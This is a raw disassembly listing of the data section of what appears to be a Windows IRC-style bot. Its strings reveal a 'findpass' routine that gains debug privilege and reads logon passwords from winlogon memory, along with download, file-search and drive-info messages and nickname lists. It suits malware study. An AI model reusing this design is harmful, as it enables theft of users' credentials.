		dd 2034033Ah, 26F4402h,	6C026E77h, 261026Fh, 64026564h
		dd 25203103h, 2066312Eh, 424B3403h, 36F7420h, 73252031h
		dd 25204020h, 2066312Eh, 424B3403h, 6365732Fh, 3103202Ch
		dd 70025502h, 61026402h, 2690274h, 4220676Eh, 74026F02h
		dd 2 dup(0)
dword_43A598	dd 35310302h, 25B302Ch,	91343003h, 2313003h, 26F0244h
					; DATA XREF: sub_4169AB+34Do
		dd 26E0277h, 26F026Ch, 2640261h, 34300302h, 3531032Ch
		dd 2034033Ah, 70024F02h, 6E026502h, 2026502h, 31030264h
		dd 732520h
dword_43A5D8	dd 35310302h, 25B302Ch,	91343003h, 2313003h, 26F0244h
					; DATA XREF: sub_4169AB+2D6o
		dd 26E0277h, 26F026Ch, 2640261h, 34300302h, 3531032Ch
		dd 2034033Ah, 26F4402h,	6C026E77h, 261026Fh, 64026564h
		dd 25203103h, 2066312Eh, 424B3403h, 36F7420h, 73252031h
		dd 25204020h, 2066312Eh, 424B3403h, 6365732Fh, 2 dup(0)
dword_43A640	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 26F0244h
					; DATA XREF: sub_4169AB+257o
		dd 26E0277h, 26F026Ch, 2640261h, 31300302h, 3531032Ch
		dd 2031033Ah, 72025702h, 20676E6Fh, 1F631F02h, 1F025202h
		dd 3021F63h, 25282034h,	3D212064h, 29642520h, 2Eh
dword_43A690	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 26F0244h
					; DATA XREF: sub_4169AB+1CDo
		dd 26E0277h, 26F026Ch, 2640261h, 31300302h, 3531032Ch
		dd 2031033Ah, 72025702h, 20676E6Fh, 69024602h, 6973656Ch
		dd 3403657Ah, 64252820h, 203D2120h, 2E296425h, 0
dword_43A6E0	dd 35310302h, 25B302Ch,	91343003h, 2313003h, 26F0244h
					; DATA XREF: sub_4169AB:loc_416B43o
		dd 26E0277h, 26F026Ch, 2640261h, 34300302h, 3531032Ch
		dd 2034033Ah, 6F024702h, 55022074h, 61647002h, 31036574h
		dd 20732520h, 25283403h, 29424B64h, 2Eh, 0
dword_43A730	dd 35310302h, 25B302Ch,	91343003h, 2313003h, 26F0244h
					; DATA XREF: sub_4169AB+191o
		dd 26E0277h, 26F026Ch, 2640261h, 34300302h, 3531032Ch
		dd 2034033Ah, 26F4402h,	6C026E77h, 261026Fh, 64026564h
		dd 25203403h, 34032073h, 4B642528h, 2942h, 0
dword_43A780	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 26F0244h
					; DATA XREF: sub_4169AB+77o
		dd 26E0277h, 26F026Ch, 2640261h, 31300302h, 3531032Ch
		dd 2031033Ah, 6F024302h, 6E646C75h, 2207427h, 6570024Fh
		dd 4602206Eh, 6C026902h, 33A6502h, 73252034h, 0
aUnknown	db 'Unknown',0          ; DATA XREF: sub_416F3F:loc_416F82o
					; sub_419599+104o
aInvalid	db 'Invalid',0          ; DATA XREF: sub_416F3F:loc_416F7Co
aDisk		db 'Disk',0             ; DATA XREF: sub_416F3F:loc_416F76o
		align 4
aNetwork	db 'Network',0          ; DATA XREF: sub_416F3F:loc_416F70o
aCdrom		db 'Cdrom',0            ; DATA XREF: sub_416F3F:loc_416F6Ao
		align 4
off_43A7F8	dd offset word_4D4152	; DATA XREF: sub_416F3F:loc_416F64o
word_43A7FC	dw 3Fh			; DATA XREF: sub_416F3F+1Fo
					; sub_41B0A1:loc_41B1A3r
		align 10h
aFailed		db 'failed',0           ; DATA XREF: sub_416FD0:loc_4170A8o
					; sub_4170EB+3Bo
		align 4
aSkb		db '%sKB',0             ; DATA XREF: sub_416FD0+6Bo
		align 10h
dword_43A810	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 611F024Dh
					; DATA XREF: sub_4170EB+8Eo
		dd 269021Fh, 302026Eh, 32C3130h, 33A3431h
a1SDriveSSTotal	db '1 %s drive (%s): %s total, %s free, %s available',0
		align 4
dword_43A868	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 611F024Dh
					; DATA XREF: sub_4170EB+58o
		dd 269021Fh, 302026Eh, 32C3130h, 33A3431h
a1SDriveSFailed	db '1 %s drive (%s): failed to stat, device not ready',0
		align 10h
aA_1		db 'A:\',0              ; DATA XREF: sub_4171BD:loc_417202o
dword_43A8C4	dd 234032Dh, 646E6966h,	656C6966h, 202D0302h, 6E756F66h
					; DATA XREF: sub_417240+C5o
		dd 64252064h, 6C696620h, 7365h
unk_43A8E4	db  2Dh	; -		; DATA XREF: sub_417240+5Co
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingFor_0	db 'searching for file %s',0
		align 4
dword_43A90C	dd 234032Dh, 646E6966h,	656C6966h, 202D0302h, 6E756F66h
					; DATA XREF: sub_417358+107o
		dd 73252064h, 73255Ch
dword_43A928	dd 2A5C7325h, 0	unk_43A930	db  2Dh	; -		; DATA XREF: sub_4174AA:loc_417623o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aFailedToEnable	db 'failed to enable debug privilege',0
		align 4
unk_43A964	db  2Dh	; -		; DATA XREF: sub_4174AA:loc_4175F6o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aUnableToFindWi	db 'unable to find winlogon pid',0
unk_43A990	db  2Dh	; -		; DATA XREF: sub_4174AA:loc_4175EFo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aUnableToFindTh	db 'unable to find the password in memory',0
		align 4
unk_43A9C8	db  2Dh	; -		; DATA XREF: sub_4174AA+117o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
		db  57h	; W
		db 69h,	6Eh, 4Ch
		db  6Fh	; o
		db 67h,	6Fh, 6Eh
		db  20h
		db 49h,	6Eh, 66h
		db  6Fh	; o
		db 72h,	6Dh, 61h
		db  74h	; t
		db 69h,	6Fh, 6Eh
		db  20h
		db 28h,	50h, 49h
		db  44h	; D
		db 20h,	25h, 64h
		db  29h	; )
		db 20h,	2Dh, 20h
		db    2
		db 44h,	6Fh, 6Dh
		db  61h	; a
		db 69h,	6Eh, 2
		db  3Ah	; :
		db 20h,	2 dup(5Ch)
		db  25h	; %
		db 53h,	2Ch, 20h
		db    2
		db 55h,	73h, 65h
		db  72h	; r
		db 2, 3Ah, 20h
aSNoPassword_	db '(%S/(no password)).',0
aUserdomain:				; DATA XREF: sub_4174AA+DCo
		unicode	0, <USERDOMAIN>,0
		align 4
aUsername:				; DATA XREF: sub_4174AA+CEo
		unicode	0, <USERNAME>,0
		align 10h
aRtlrundecodeun	db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_4174AA+9Ao
		align 4
aRtldestroyquer	db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_4174AA+8Do
		align 4
aRtlqueryproces	db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_4174AA+80o
aRtlcreatequery	db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_4174AA+73o
		align 4
aNtquerysystemi	db 'NtQuerySystemInformation',0 ; DATA XREF: sub_4174AA+68o
		align 10h
aNtdll_dll	db 'NTDLL.DLL',0        ; DATA XREF: sub_4174AA+55o
		align 4
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_4174AA+40o
					; sub_4174AA+161o ...
		align 10h
unk_43AB00	db  2Dh	; -		; DATA XREF: sub_4174AA+35o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aOnlySupportedO	db 'only supported on winnt/win2k',0
		align 10h
aMsgina		db 'MSGINA',0           ; DATA XREF: sub_41767C+13Eo
		align 4
aNwgina		db 'NWGINA',0           ; DATA XREF: sub_41767C+123o
		align 10h
aWinlogon	db 'WINLOGON',0         ; DATA XREF: sub_41767C+AFo
		align 10h
dword_43AB50	dd 234032Dh, 646E6966h,	73736170h, 202D0302h, 4C6E6957h
					; DATA XREF: sub_417AD6+70o
					; sub_417B6D+C7o
		dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
		dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
		dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h
dword_43ABA0	dd 234032Dh, 646E6966h,	73736170h, 202D0302h, 4C6E6957h
					; DATA XREF: sub_417B6D+E1o
		dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
		dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
		dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 412F4E28h
		dd 2929h, 0
off_43ABF8	dd offset aQ		; DATA XREF: sub_417FDF+5Cr
					; "q"
		dd offset dword_43B7A4
		dd offset aE		; "e"
		dd offset aR		; "r"
		dd offset aT		; "t"
		dd offset dword_43B7A0
		dd offset aU		; "u"
		dd offset aI		; "i"
		dd offset aP		; "p"
		dd offset aA		; "a"
		dd offset aS_1		; "s"
		dd offset dword_43B79C
		dd offset dword_43B798
		dd offset dword_43B794
		dd offset dword_43B790
		dd offset aJ		; "j"
		dd offset aK		; "k"
		dd offset asc_42F324	; "l"
		dd offset dword_43B78C
		dd offset dword_43B788
		dd offset aC		; "c"
		dd offset aV		; "v"
		dd offset dword_43B784
		dd offset aN		; "n"
		dd offset aM		; "m"
		dd offset dword_43B780
		dd offset dword_43B77C
		dd offset dword_43B778
		dd offset dword_43B774
		dd offset dword_43B770
		dd offset word_43B76C
		dd offset dword_43B768
		dd offset aI_0		; "I"
		dd offset dword_43B764
		dd offset dword_43B760
		dd offset aA_0		; "A"
		dd offset dword_43B75C
		dd offset dword_43B758
		dd offset dword_43B754
		dd offset dword_43B750
		dd offset dword_43B74C
		dd offset dword_43B748
		dd offset dword_43B744
		dd offset dword_43B740
		dd offset dword_43B73C
		dd offset dword_43B738
		dd offset dword_43B734
		dd offset dword_43B730
		dd offset dword_43B72C
		dd offset word_43B728
		dd offset aM_1		; "M"
		dd offset aSmartmir	; "SMARTMIR"
		dd offset aFarooq	; "farooq"
		dd offset aMaxxguy	; "maxxguy"
		dd offset aBobmarley	; "BOBMARLEY"
		dd offset aEmilya	; "emilya"
		dd offset aKrizha	; "KRIZHA"
		dd offset aCar1nna	; "Car1nna"
		dd offset aSwin		; "swin"
		dd offset aMale		; "male"
		dd offset aKoko		; "koko"
		dd offset aFlexster	; "flexster"
		dd offset aKen		; "ken"
		dd offset aShez		; "Shez"
		dd offset aTalika	; "talika"
		dd offset aMarcy	; "marcy"
		dd offset aCme		; "cme"
		dd offset aHeval	; "heval"
		dd offset aBunty	; "bunty"
		dd offset aJanno	; "janno"
		dd offset aRimpy	; "rimpy"
		dd offset aNastysha	; "nastysha"
		dd offset aLuisa	; "Luisa"
		dd offset aTroller	; "troller"
		dd offset aManee	; "manee"
		dd offset aKermit	; "kermit"
		dd offset aPuregold	; "puregold"
		dd offset aCoredump	; "CoreDump"
		dd offset aImra		; "imra"
		dd offset aGirl		; "GirL"
		dd offset aCamel	; "CAMEL"
		dd offset aReshma	; "reshma"
		dd offset aKencing	; "Kencing"
		dd offset aThr45h3r5	; "THR45H3R5"
		dd offset aCansuuuu	; "cansuuuu"
		dd offset aKaan38dent	; "kaan38dent"
		dd offset aErkan27	; "erkan27"
		dd offset aHexaaa	; "hexaaa"
		dd offset aBerk19	; "berk19"
		dd offset aObenibisevse	; "OBeNiBiSeVSe"
		dd offset aIrmal	; "irmal"
		dd offset aMisssunday	; "misssunday"
		dd offset aTolga34	; "Tolga34"
		dd offset aJericho	; "JERICHO"
		dd offset aMary_0	; "MARY"
		dd offset aAkin		; "AKIN"
		dd offset aMelekk	; "melekk"
		dd offset aTrend3	; "trend3"
		dd offset aMERVE	; "M-E-R-V-E"
		dd offset aTekir	; "tekir"
		dd offset aVenedik34	; "venedik34"
		dd offset aSevmekmi	; "sevmekmi"
		dd offset aSudenur	; "SUDENUR"
		dd offset aArzu		; "ARZU"
		dd offset aHaticem	; "haticem"
		dd offset aErnesto	; "ERNESTO"
		dd offset aAslii	; "aslii"
		dd offset aPiramit	; "PIRAMIT"
		dd offset aSamyeli21	; "samyeli21"
		dd offset aRetg		; "RETG"
		dd offset aBlackpearl	; "blackpearl"
		dd offset aPelincik	; "pelincik"
		dd offset aAhmet	; "ahmet"
		dd offset aTurkyy	; "turkyy"
		dd offset aAnk32m	; "ank32m"
		dd offset aZack		; "ZACK"
		dd offset aIzmir39m	; "Izmir39m"
		dd offset aAlbina	; "albina"
		dd offset dword_43B4C0
		dd offset off_43B4BC
		dd offset aAnkh		; "ankh"
		dd offset aDonjuanm	; "Donjuanm"
		dd offset aBogac	; "bogac"
		dd offset aAlpay34m	; "alpay34m"
		dd offset aCongueror	; "CoNGuERoR"
		dd offset aDenizlim	; "DenizliM"
		dd offset aBerk19m	; "Berk19m"
		dd offset aDevran	; "devran"
		dd offset aArda		; "arda"
		dd offset aKeyiflisert	; "keyifliSERT"
		dd offset aMurat34M	; "murat34-m"
		dd offset aHakan3	; "hakan3"
		dd offset aImirzali	; "IMIRZALI--"
		dd offset aRamtha	; "RAMTHA"
		dd offset aEmre		; "Emre--"
		dd offset aElmaazyok	; "elmaazyok"
		dd offset aEsmerkiz	; "Esmerkiz"
		dd offset aKebikec	; "kebikec"
		dd offset aFlord	; "FLoRD"
		dd offset aHoly		; "holy"
		dd offset aMahinur	; "MAHINUR"
		dd offset aSadikaellesme ; "SaDIkaEllesme"
		dd offset aAykut1	; "aykut1"
		dd offset aKashmira	; "Kashmira"
		dd offset aSeviseli	; "SeViSeLi"
		dd offset aSugarboy	; "SUGARBOY-"
		dd offset aUzgun36	; "uzgun36"
		dd offset aKumul	; "kumul"
		dd offset aAdalim	; "ADALIM"
		dd offset aUmut		; "umut-"
		dd offset aAnk32M	; "ANK-32-M"
		dd offset aDjspace	; "DJSPACE"
		dd offset aAnkar	; "Ankar"
		dd offset aFenerlee	; "FeNeRLee"
		dd offset aHayran	; "hayran"
		dd offset aAngelgirl	; "angelgirl"
		dd offset aKapk		; "kapk"
		dd offset aAchilles	; "Achilles"
		dd offset aTegmen	; "TEGMEN"
		dd offset aKotan	; "kotan"
		dd offset aSevda	; "sevda"
		dd offset off_43B328
		dd offset aAlcatras	; "alcatras"
		dd offset aA44m		; "a44m"
		dd offset aBirsen	; "birsen"
		dd offset aYabanc	; "yabanc"
		dd offset aDevre	; "devre"
		dd offset aErkan	; "erkan"
		dd offset aAnkm		; "ankM"
		dd offset aAdem28	; "Adem28"
		dd offset aMaxsilla	; "maxsilla"
		dd offset aM41ist	; "M41IST"
		dd offset aAdamm33	; "AdAMM33"
		dd offset aFirtina	; "firtina"
		dd offset aAta29	; "Ata29"
		dd offset aKoray	; "KORAY"
		dd offset aAkden	; "akden"
		dd offset aIzmirlm	; "izmirlm"
		dd offset aUla		; "ula"
		dd offset aNeHaber	; "NE-HABER"
		dd offset aPassenger	; "passenger"
		dd offset aTropikal	; "tropikal"
		dd offset aCool30m	; "cool30m"
		dd offset aCem39	; "cem39"
		dd offset aRerpjj	; "RERPJJ"
		dd offset aTeoman	; "TEOMAN```"
		dd offset aDallas43m	; "DALLAS43M"
		dd offset aPrometheus	; "prometheus"
		dd offset aMaveRIck	; "MaVe{R}icK"
		dd offset aAdamm	; "ADAMM"
		dd offset aCumhur29	; "cumhur29"
		dd offset aWantedlove	; "WANTEDLOVE"
off_43AEF8	dd offset aSex		; DATA XREF: sub_417FDF+41r
					; sub_417FDF+ECr
					; "sex"
		dd offset aLez		; "lez"
		dd offset aZex		; "zex"
		dd offset aTree		; "tree"
		dd offset aBad		; "bad"
		dd offset aLag		; "lag"
		dd offset aTambe	; "|tambe|"
		dd offset aWoh		; "|woh|"
		dd offset aTot		; "-|tot|"
		dd offset aSuck		; "|suck|"
		dd offset aLuck		; "|luck|"
		dd offset aHub		; "{hub}"
		dd offset aSex_0	; "{sex}"
		dd offset aGens		; "{gens|"
		dd offset aLuvuF	; "||luvu-f|"
		dd offset aWiked	; "|wiked|"
		dd offset aSick		; "sick}}"
		dd offset aQ8		; "Q8"
		dd offset aQ8A		; "|q8|a"
		dd offset dword_43B784
		dd offset aC		; "c"
		dd offset dword_43B79C
		dd offset aE		; "e"
		dd offset dword_43B798
		dd offset dword_43B794
		dd offset dword_43B790
		dd offset aI		; "i"
		dd offset dword_42DB48
		dd offset aJ		; "j"
		dd offset aK		; "k"
		dd offset asc_42F324	; "l"
		dd offset aM		; "m"
		dd offset aN		; "n"
		dd offset aO		; "o"
		dd offset aP		; "p"
		dd offset aQ		; "q"
		dd offset aRs		; "rs"
		dd offset aT		; "t"
		dd offset aU		; "u"
		dd offset aV		; "v"
		dd offset dword_43B7A4
		dd offset dword_43B788
		dd offset dword_43B7A0
		dd offset dword_43B78C
		dd offset aHappy	; "happy"
		dd offset aRg		; "rg"
		dd offset aTy		; "ty"
		dd offset aGf		; "gf"
		dd offset aRt		; "rt"
		dd offset aSdf		; "sdf"
		dd offset aUi		; "ui"
		dd offset aLuvy		; "luvy"
		dd offset aTrimy	; "trimy"
		dd offset aTruck	; "truck"
		dd offset aMuckc	; "muckc"
		dd offset dword_43B78C
		dd offset dword_43B794
		dd offset aS_1		; "s"
		dd offset aQ		; "q"
		dd offset off_43B148
		dd offset aBbl		; "|bbl"
		dd offset byte_4404C4
		dd offset byte_4404C4
		dd offset a___0		; "_|_"
		dd offset byte_4404C4
		dd offset byte_4404C4
		dd offset byte_4404C4
		dd offset byte_4404C4
		dd offset dword_43B754
		dd offset aM_1		; "M"
		dd offset aLuvu		; "LUVU"
		dd offset aSad		; "Sad"
		dd offset aF		; "^^^f^"
		dd offset dword_43B784
		dd offset byte_4404C4
		dd offset aSleeping	; "Sleeping"
		dd offset byte_4404C4
		dd offset byte_4404C4
		dd offset aFuck_0	; "Fuck"
		dd offset aFree		; "Free"
		dd offset byte_4404C4
		dd offset byte_4404C4
		dd offset dword_43B738
		dd offset byte_4404C4
		dd offset aBoy		; "BOY"
		dd offset aGirl_0	; "GIRL"
		dd offset aGurl		; "gurl"
		dd offset aShit		; "shit"
		dd offset aAha		; "aha"
		dd offset aYeah		; "yeah"
		dd offset aMuha		; "muha"
		dd offset aMof0		; "mof0"
		dd offset aMofo		; "mofo"
		dd offset dword_43B0C8
		dd offset dword_43B0C4
		dd offset dword_43B0BC
		dd offset dword_43B0B0
		dd offset dword_43B0A8
		dd offset dword_43B0A0
		dd offset dword_43B098
		dd offset dword_43B094
		dd offset dword_43B090
dword_43B090	dd 7536h	dword_43B094	dd 7535h	dword_43B098	dd 7C75347Ch, 0	dword_43B0A0	dd 6F79347Bh, 7D75hdword_43B0A8	dd 7375347Ch, 7Chdword_43B0B0	dd 7865737Ch, 65726634h, 7C65hdword_43B0BC	dd 6F6C6F6Ch, 7C617Chdword_43B0C4	dd 6C6F6Ch	dword_43B0C8	dd 746F74h	aMofo		db 'mofo',0             ; DATA XREF: .XPack0:0043B068o
		align 4
aMof0		db 'mof0',0             ; DATA XREF: .XPack0:0043B064o
		align 4
aMuha		db 'muha',0             ; DATA XREF: .XPack0:0043B060o
		align 4
aYeah		db 'yeah',0             ; DATA XREF: .XPack0:0043B05Co
		align 4
aAha		db 'aha',0              ; DATA XREF: .XPack0:0043B058o
aShit		db 'shit',0             ; DATA XREF: .XPack0:0043B054o
		align 4
aGurl		db 'gurl',0             ; DATA XREF: .XPack0:0043B050o
		align 10h
aGirl_0		db 'GIRL',0             ; DATA XREF: .XPack0:0043B04Co
		align 4
aBoy		db 'BOY',0              ; DATA XREF: .XPack0:0043B048o
aFree		db 'Free',0             ; DATA XREF: .XPack0:0043B034o
		align 4
aFuck_0		db 'Fuck',0             ; DATA XREF: .XPack0:0043B030o
		align 4
aSleeping	db 'Sleeping',0         ; DATA XREF: .XPack0:0043B024o
		align 4
aF		db '^^^f^',0            ; DATA XREF: .XPack0:0043B018o
		align 10h
aSad		db 'Sad',0              ; DATA XREF: .XPack0:0043B014o
aLuvu		db 'LUVU',0             ; DATA XREF: .XPack0:0043B010o
		align 4
a___0		db '_|_',0              ; DATA XREF: .XPack0:0043AFF4o
aBbl		db '|bbl',0             ; DATA XREF: .XPack0:0043AFE8o
		align 4
off_43B148	dd offset loc_425241+1	; DATA XREF: .XPack0:0043AFE4o
aMuckc		db 'muckc',0            ; DATA XREF: .XPack0:0043AFD0o
		align 4
aTruck		db 'truck',0            ; DATA XREF: .XPack0:0043AFCCo
		align 4
aTrimy		db 'trimy',0            ; DATA XREF: .XPack0:0043AFC8o
		align 4
aLuvy		db 'luvy',0             ; DATA XREF: .XPack0:0043AFC4o
		align 4
aUi		db 'ui',0               ; DATA XREF: .XPack0:0043AFC0o
		align 10h
aSdf		db 'sdf',0              ; DATA XREF: .XPack0:0043AFBCo
aRt		db 'rt',0               ; DATA XREF: .XPack0:0043AFB8o
		align 4
aGf		db 'gf',0               ; DATA XREF: .XPack0:0043AFB4o
		align 4
aTy		db 'ty',0               ; DATA XREF: .XPack0:0043AFB0o
		align 10h
aRg		db 'rg',0               ; DATA XREF: .XPack0:0043AFACo
		align 4
aHappy		db 'happy',0            ; DATA XREF: .XPack0:0043AFA8o
		align 4
aRs		db 'rs',0               ; DATA XREF: .XPack0:0043AF88o
		align 10h
aQ8A		db '|q8|a',0            ; DATA XREF: .XPack0:0043AF40o
		align 4
aQ8		db 'Q8',0               ; DATA XREF: .XPack0:0043AF3Co
		align 4
aSick		db 'sick}}',0           ; DATA XREF: .XPack0:0043AF38o
		align 4
aWiked		db '|wiked|',0          ; DATA XREF: .XPack0:0043AF34o
aLuvuF		db '||luvu-f|',0        ; DATA XREF: .XPack0:0043AF30o
		align 4
aGens		db '{gens|',0           ; DATA XREF: .XPack0:0043AF2Co
		align 10h
aSex_0		db '{sex}',0            ; DATA XREF: .XPack0:0043AF28o
		align 4
aHub		db '{hub}',0            ; DATA XREF: .XPack0:0043AF24o
		align 10h
aLuck		db '|luck|',0           ; DATA XREF: .XPack0:0043AF20o
		align 4
aSuck		db '|suck|',0           ; DATA XREF: .XPack0:0043AF1Co
		align 10h
aTot		db '-|tot|',0           ; DATA XREF: .XPack0:0043AF18o
		align 4
aWoh		db '|woh|',0            ; DATA XREF: .XPack0:0043AF14o
		align 10h
aTambe		db '|tambe|',0          ; DATA XREF: .XPack0:0043AF10o
aLag		db 'lag',0              ; DATA XREF: .XPack0:0043AF0Co
aBad		db 'bad',0              ; DATA XREF: .XPack0:0043AF08o
aTree		db 'tree',0             ; DATA XREF: .XPack0:0043AF04o
		align 4
aZex		db 'zex',0              ; DATA XREF: .XPack0:0043AF00o
aLez		db 'lez',0              ; DATA XREF: .XPack0:0043AEFCo
aWantedlove	db 'WANTEDLOVE',0       ; DATA XREF: .XPack0:0043AEF4o
		align 4
aCumhur29	db 'cumhur29',0         ; DATA XREF: .XPack0:0043AEF0o
		align 4
aAdamm		db 'ADAMM',0            ; DATA XREF: .XPack0:0043AEECo
		align 10h
aMaveRIck	db 'MaVe{R}icK',0       ; DATA XREF: .XPack0:0043AEE8o
		align 4
aPrometheus	db 'prometheus',0       ; DATA XREF: .XPack0:0043AEE4o
		align 4
aDallas43m	db 'DALLAS43M',0        ; DATA XREF: .XPack0:0043AEE0o
		align 4
aTeoman		db 'TEOMAN```',0        ; DATA XREF: .XPack0:0043AEDCo
		align 10h
aRerpjj		db 'RERPJJ',0           ; DATA XREF: .XPack0:0043AED8o
		align 4
aCem39		db 'cem39',0            ; DATA XREF: .XPack0:0043AED4o
		align 10h
aCool30m	db 'cool30m',0          ; DATA XREF: .XPack0:0043AED0o
aTropikal	db 'tropikal',0         ; DATA XREF: .XPack0:0043AECCo
		align 4
aPassenger	db 'passenger',0        ; DATA XREF: .XPack0:0043AEC8o
		align 10h
aNeHaber	db 'NE-HABER',0         ; DATA XREF: .XPack0:0043AEC4o
		align 4
aUla		db 'ula',0              ; DATA XREF: .XPack0:0043AEC0o
aIzmirlm	db 'izmirlm',0          ; DATA XREF: .XPack0:0043AEBCo
aAkden		db 'akden',0            ; DATA XREF: .XPack0:0043AEB8o
		align 10h
aKoray		db 'KORAY',0            ; DATA XREF: .XPack0:0043AEB4o
		align 4
aAta29		db 'Ata29',0            ; DATA XREF: .XPack0:0043AEB0o
		align 10h
aFirtina	db 'firtina',0          ; DATA XREF: .XPack0:0043AEACo
aAdamm33	db 'AdAMM33',0          ; DATA XREF: .XPack0:0043AEA8o
aM41ist		db 'M41IST',0           ; DATA XREF: .XPack0:0043AEA4o
		align 4
aMaxsilla	db 'maxsilla',0         ; DATA XREF: .XPack0:0043AEA0o
		align 4
aAdem28		db 'Adem28',0           ; DATA XREF: .XPack0:0043AE9Co
		align 4
aAnkm		db 'ankM',0             ; DATA XREF: .XPack0:0043AE98o
		align 4
aErkan		db 'erkan',0            ; DATA XREF: .XPack0:0043AE94o
		align 4
aDevre		db 'devre',0            ; DATA XREF: .XPack0:0043AE90o
		align 4
aYabanc		db 'yabanc',0           ; DATA XREF: .XPack0:0043AE8Co
		align 4
aBirsen		db 'birsen',0           ; DATA XREF: .XPack0:0043AE88o
		align 4
aA44m		db 'a44m',0             ; DATA XREF: .XPack0:0043AE84o
		align 4
aAlcatras	db 'alcatras',0         ; DATA XREF: .XPack0:0043AE80o
		align 4
off_43B328	dd offset byte_4B5245	; DATA XREF: .XPack0:0043AE7Co
aSevda		db 'sevda',0            ; DATA XREF: .XPack0:0043AE78o
		align 4
aKotan		db 'kotan',0            ; DATA XREF: .XPack0:0043AE74o
		align 4
aTegmen		db 'TEGMEN',0           ; DATA XREF: .XPack0:0043AE70o
		align 4
aAchilles	db 'Achilles',0         ; DATA XREF: .XPack0:0043AE6Co
		align 10h
aKapk		db 'kapk',0             ; DATA XREF: .XPack0:0043AE68o
		align 4
aAngelgirl	db 'angelgirl',0        ; DATA XREF: .XPack0:0043AE64o
		align 4
aHayran		db 'hayran',0           ; DATA XREF: .XPack0:0043AE60o
		align 4
aFenerlee	db 'FeNeRLee',0         ; DATA XREF: .XPack0:0043AE5Co
		align 4
aAnkar		db 'Ankar',0            ; DATA XREF: .XPack0:0043AE58o
		align 10h
aDjspace	db 'DJSPACE',0          ; DATA XREF: .XPack0:0043AE54o
aAnk32M		db 'ANK-32-M',0         ; DATA XREF: .XPack0:0043AE50o
		align 4
aUmut		db 'umut-',0            ; DATA XREF: .XPack0:0043AE4Co
		align 4
aAdalim		db 'ADALIM',0           ; DATA XREF: .XPack0:0043AE48o
		align 4
aKumul		db 'kumul',0            ; DATA XREF: .XPack0:0043AE44o
		align 4
aUzgun36	db 'uzgun36',0          ; DATA XREF: .XPack0:0043AE40o
aSugarboy	db 'SUGARBOY-',0        ; DATA XREF: .XPack0:0043AE3Co
		align 10h
aSeviseli	db 'SeViSeLi',0         ; DATA XREF: .XPack0:0043AE38o
		align 4
aKashmira	db 'Kashmira',0         ; DATA XREF: .XPack0:0043AE34o
		align 4
aAykut1		db 'aykut1',0           ; DATA XREF: .XPack0:0043AE30o
		align 10h
aSadikaellesme	db 'SaDIkaEllesme',0    ; DATA XREF: .XPack0:0043AE2Co
		align 10h
aMahinur	db 'MAHINUR',0          ; DATA XREF: .XPack0:0043AE28o
aHoly		db 'holy',0             ; DATA XREF: .XPack0:0043AE24o
		align 10h
aFlord		db 'FLoRD',0            ; DATA XREF: .XPack0:0043AE20o
		align 4
aKebikec	db 'kebikec',0          ; DATA XREF: .XPack0:0043AE1Co
aEsmerkiz	db 'Esmerkiz',0         ; DATA XREF: .XPack0:0043AE18o
		align 4
aElmaazyok	db 'elmaazyok',0        ; DATA XREF: .XPack0:0043AE14o
		align 4
aEmre		db 'Emre--',0           ; DATA XREF: .XPack0:0043AE10o
		align 10h
aRamtha		db 'RAMTHA',0           ; DATA XREF: .XPack0:0043AE0Co
		align 4
aImirzali	db 'IMIRZALI--',0       ; DATA XREF: .XPack0:0043AE08o
		align 4
aHakan3		db 'hakan3',0           ; DATA XREF: .XPack0:0043AE04o
		align 4
aMurat34M	db 'murat34-m',0        ; DATA XREF: .XPack0:0043AE00o
		align 4
aKeyiflisert	db 'keyifliSERT',0      ; DATA XREF: .XPack0:0043ADFCo
aArda		db 'arda',0             ; DATA XREF: .XPack0:0043ADF8o
		align 4
aDevran		db 'devran',0           ; DATA XREF: .XPack0:0043ADF4o
		align 4
aBerk19m	db 'Berk19m',0          ; DATA XREF: .XPack0:0043ADF0o
aDenizlim	db 'DenizliM',0         ; DATA XREF: .XPack0:0043ADECo
		align 4
aCongueror	db 'CoNGuERoR',0        ; DATA XREF: .XPack0:0043ADE8o
		align 4
aAlpay34m	db 'alpay34m',0         ; DATA XREF: .XPack0:0043ADE4o
		align 10h
aBogac		db 'bogac',0            ; DATA XREF: .XPack0:0043ADE0o
		align 4
aDonjuanm	db 'Donjuanm',0         ; DATA XREF: .XPack0:0043ADDCo
		align 4
aAnkh		db 'ankh',0             ; DATA XREF: .XPack0:0043ADD8o
		align 4
off_43B4BC	dd offset byte_457441	; DATA XREF: .XPack0:0043ADD4o
dword_43B4C0	dd 414C5941h, 2DhaAlbina		db 'albina',0           ; DATA XREF: .XPack0:0043ADCCo
		align 10h
aIzmir39m	db 'Izmir39m',0         ; DATA XREF: .XPack0:0043ADC8o
		align 4
